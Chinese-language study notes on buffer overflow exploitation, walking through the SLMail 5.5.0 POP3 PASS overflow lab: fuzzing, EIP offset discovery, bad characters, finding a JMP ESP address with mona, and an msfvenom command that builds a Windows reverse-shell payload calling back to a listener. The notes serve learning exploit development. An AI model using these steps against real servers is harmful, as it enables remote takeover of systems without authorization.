缓冲区溢出

缓冲区溢出

  • 当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑爆”,从而覆盖了相邻内存区域的数据
  • 成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果

如何发现漏洞

  • 源码审计
  • 逆向工程
  • 模糊测试
    • 向程序堆栈发送半随机的数据,根据内存变化判断溢出
    • 数据生成器:生成随机、半随机数据
    • 测试工具:识别溢出漏洞

FUZZING

  • SLMail 5.5.0 Mail Server

    • POP3 PASS命令存在缓冲区溢出漏洞
    • 无需身份验证远程代码执行
    • 防护机制:
      • DEP: 阻止代码从数据页被执行
      • ASLR: 随机内存地址加载执行程序和DLL,每次重启地址变化

    步骤:

    1. 测试PASS命令接收到大量数据时是否会溢出

    2. 找到精确溢出到EIP的4个字节

      • 二分法

      • 唯一字符串法

    • /usr/share/metasploit-framework/tools/exploit/pattern_create.rb 2700
    • 上一条命令即msf-pattern_create -l 2700
    • 然后使用msf-pattern_offset -q Di9D
    1. 找出坏字符
  • 不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途

    • 返回地址、Shellcode、buffer中都不能出现坏字符
    • null (0x00)空字符,用于终止字符串的拷贝操作
    • return (0x0D) 回车操作,表示POP3 PASS命令输入完成
    • 思路:发送0x00-0xff 256个字符,查找所有坏字符
    1. 重定向数据流
  • 用ESP地址替换EIP的值,但是ESP地址变化,不可硬编码。SLMail线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定

    • 在内存中寻找地址固定的系统模块,在模块中寻找JMP ESP指令的地址跳转,再由该指令简介跳转到ESP,从而执行shellcode
    • mona.py脚本识别内存模块,搜索“return address”是JMP ESP指令的模块
    • 寻找无DEP、ALSR保护的内存地址
    • 内存地址不包含坏字符
  • 寻找不受保护的系统模块

    • !mona modules
  • 将汇编指令jmp esp转换为二进制

    • ./nasm_shell.rbmsf-nasm_shell
    • FFE4
  • 在模块中搜索FFE4指令

    • !mona find -s "\xff\xe4" -m slmfc.dll
    • 选择不包含坏字符的内存地址
  • 在该地址设置断点

  • 重发buffer

    1. 生成ShellCode
  • 在msfvenom查找相应的payload

    • msfvenom --list payloads|grep windows|grep reverse_tcp
  • 查看该Payload生成需要哪些参数

    • msfvenom -p windows/shell_reverse_tcp --list-options
  • 生成Payload

    • msfvenom --platform Windows -b '\x00\x01\x0d' -p windows/shell_reverse_tcp EXITFUNC=thread LHOST=192.168.0.112 LPORT=4444 -f py
    1. 在本地侦听4444端口,执行脚本,拿到控制权

其它

  • 汇编指令
    • JMP XXX 跳转到某寄存器
    • ADD XXX,12 XXX寄存器后移12位
  • 注意fuzzing要步步为营,否则很容易混乱。